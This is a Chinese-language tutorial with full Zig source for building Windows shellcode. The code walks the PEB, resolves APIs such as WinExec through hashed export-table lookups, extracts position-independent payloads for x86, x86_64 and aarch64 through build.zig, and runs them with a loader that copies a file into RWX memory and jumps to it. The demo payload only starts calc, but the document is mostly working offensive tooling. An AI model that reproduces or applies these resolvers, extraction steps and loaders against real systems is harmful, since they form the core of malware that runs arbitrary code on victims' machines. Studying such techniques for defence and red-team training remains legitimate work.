用zig编写Windows的shellcode
字数 986 2025-08-24 16:48:16
使用Zig编写Windows Shellcode教学文档
1. 概述
本教程将详细介绍如何使用Zig语言(版本0.11.0)编写Windows平台的shellcode。与传统的汇编或C语言实现相比,Zig提供了更现代化的语言特性,如编译时反射、泛型等,可以更简洁高效地实现shellcode。
2. Shellcode基本原理
Windows下shellcode的通用流程:
- 通过PEB遍历获取DLL模块的地址
- 搜索DLL模块的导出表获取需要的API
- 通过API实现特定的功能
3. Zig实现Shellcode的关键技术
3.1 准备工作
3.1.1 获取PEB
std.os.windows.peb()
3.1.2 结构体定义
Zig的标准库std.os.windows中已经包含了许多Windows结构体定义,但需要补充与shellcode相关的两个部分:
- PEB中的
LDR_DATA_TABLE_ENTRY结构 - PE格式相关的结构
3.2 PE地址转换
使用泛型实现RVA到VA的转换:
pub fn rva2va(comptime T: type, base: *const anyopaque, rva: usize) T {
var ptr = @intFromPtr(base) + rva;
return switch (@typeInfo(T)) {
.Pointer => {
return @as(T, @ptrFromInt(ptr));
},
.Int => {
if (T != usize) {
@compileError("expected usize, found '" ++ @typeName(T));
}
return @as(T, ptr);
},
else => {
@compileError("expected pointer or int, found '" ++ @typeName(T));
}
};
}
3.3 Hash算法
为精简shellcode大小,使用类似Java String的hash算法来比较导出表函数名:
inline fn hashApi(api: []const u8) u32 {
var h: u32 = 0x6c6c6a62; // iv for api hash
for (api) |item| {
// 0x20 for lowercase
h = @addWithOverflow(@mulWithOverflow(31, h)[0], item | 0x20)[0];
}
return h;
}
3.4 API原型声明
声明需要的API函数原型,如WinExec和ExitProcess:
const apiAddr = struct {
const Self = @This();
WinExec: ?*const fn (
lpCmdLine: [*c]u8,
UINT: windows.UINT,
) callconv(windows.WINAPI) windows.UINT = null,
ExitProcess: ?*const fn (
nExitCode: windows.LONG,
) callconv(windows.WINAPI) void = null,
fn ok(self: *Self) bool {
inline for (@typeInfo(apiAddr).Struct.fields) |field| {
if (@field(self, field.name) == null) {
return false;
}
}
return true;
}
};
4. 主要逻辑实现
4.1 遍历PEB获取DLL模块地址
fn getApi(apis: *apiAddr) bool {
var peb = std.os.windows.peb();
var ldr = peb.Ldr;
var dte: *win32.LDR_DATA_TABLE_ENTRY = @ptrCast(ldr.InLoadOrderModuleList.Flink);
while (dte.DllBase != null) : ({
dte = @ptrCast(dte.InLoadOrderLinks.Flink);
}) {
findApi(apis, dte.DllBase.?);
if (apis.ok()) {
return true;
}
}
return false;
}
4.2 搜索DLL导出表获取API
fn findApi(r: *apiAddr, inst: windows.PVOID) void {
var dos: *win32.IMAGE_DOS_HEADER = @ptrCast(@alignCast(inst));
var nt = rva2va(*win32.IMAGE_NT_HEADERS, inst, @as(u32, @bitCast(dos.e_lfanew)));
var rva = nt.OptionalHeader.DataDirectory[win32.IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (rva == 0) {
return;
}
var exp = rva2va(*win32.IMAGE_EXPORT_DIRECTORY, inst, rva);
var cnt = exp.NumberOfNames;
if (cnt == 0) {
return;
}
var adr = rva2va([*c]u32, inst, exp.AddressOfFunctions);
var sym = rva2va([*c]u32, inst, exp.AddressOfNames);
var ord = rva2va([*c]u16, inst, exp.AddressOfNameOrdinals);
var dll = sliceTo(rva2va([*c]u8, inst, exp.Name));
std.log.debug("[i]{s}", .{dll});
for (0..cnt) |i| {
var sym_ = rva2va([*c]u8, inst, sym[i]);
var adr_ = rva2va(usize, inst, adr[ord[i]]);
var hash = hashApi(sliceTo(sym_));
inline for (@typeInfo(apiAddr).Struct.fields) |field| {
if (hash == comptime hashApi(field.name)) {
@field(r, field.name) = @ptrFromInt(adr_);
std.log.debug("[+]{s} at 0x{X}", .{ field.name, adr_ });
}
}
}
}
4.3 辅助函数
inline fn sliceTo(buf: [*c]u8) []u8 {
var len: usize = 0;
while (buf[len] != 0) : ({ len += 1; }) {}
return buf[0..len];
}
4.4 主功能实现
pub fn main() void {
go();
}
pub export fn go() void {
var apis = apiAddr{};
if (!getApi(&apis)) {
std.log.debug("[-]api not found");
return;
}
std.log.debug("[+]find {d} api", .{@typeInfo(apiAddr).Struct.fields.len});
var cmdline = "calc";
apis.WinExec.?(&cmdline, 0);
apis.ExitProcess.?(0);
}
pub export fn goEnd() void {}
5. 构建系统
5.1 构建测试程序
在build.zig中配置多架构编译:
const std = @import("std");
pub fn build(b: *std.Build) void {
const optimize = b.standardOptimizeOption(.{});
inline for (&.{ "x86", "x86_64", "aarch64" }) |t| {
const exe = b.addExecutable(.{
.name = "test-" ++ t,
.root_source_file = .{ .path = "src/main.zig" },
.target = std.zig.CrossTarget.parse(.{
.arch_os_abi = t ++ "-windows-gnu"
}) catch unreachable,
.optimize = optimize,
});
b.installArtifact(exe);
}
}
5.2 提取Shellcode
在build.zig中添加shellcode提取步骤:
const sc = b.step("sc", "Build ReleaseSmall shellcode");
{
inline for (&.{ "x86", "x86_64", "aarch64" }) |arch| {
const dll = b.addSharedLibrary(.{
.name = "sc-" ++ arch,
.root_source_file = .{ .path = "src/main.zig" },
.target = std.zig.CrossTarget.parse(.{
.arch_os_abi = arch ++ "-windows-msvc"
}) catch unreachable,
.optimize = .ReleaseSmall,
});
const install = b.addInstallArtifact(dll, .{});
const c = GenShellCode.create(b, install);
sc.dependOn(&c.step);
}
}
5.3 Shellcode加载器
实现一个简单的shellcode加载器:
const std = @import("std");
const os = std.os;
const fs = std.fs;
const path = fs.path;
const win = os.windows;
pub fn main() !void {
const allocator = std.heap.page_allocator;
var args = try std.process.argsAlloc(allocator);
defer allocator.free(args);
if (args.len == 1) {
std.log.err("usage: {s} scpath", .{path.basename(args[0])});
return;
}
var data = try fs.cwd().readFileAlloc(allocator, args[1], 1024 * 1024 * 1024);
var ptr = try win.VirtualAlloc(
null,
data.len,
win.MEM_COMMIT | win.MEM_RESERVE,
win.PAGE_EXECUTE_READWRITE,
);
defer win.VirtualFree(ptr, 0, win.MEM_RELEASE);
var buf: [*c]u8 = @ptrCast(ptr);
@memcpy(buf[0..data.len], data);
@as(*const fn () void, @ptrCast(@alignCast(ptr)))();
}
6. 优势总结
使用Zig实现shellcode相对于C有以下优势:
- 通过
@typeInfo编译时反射,实现添加API声明后自动获取地址 - 通过
comptime编译时关键字,实现自动生成API字符串hash - 通过编写
build.zig构建代码,实现自动提取x86、x86_64、aarch64三种架构shellcode - 生成的shellcode大小约300字节,非常精简
7. 完整代码
完整实现代码可在以下仓库获取:
https://github.com/howmp/zigshellcode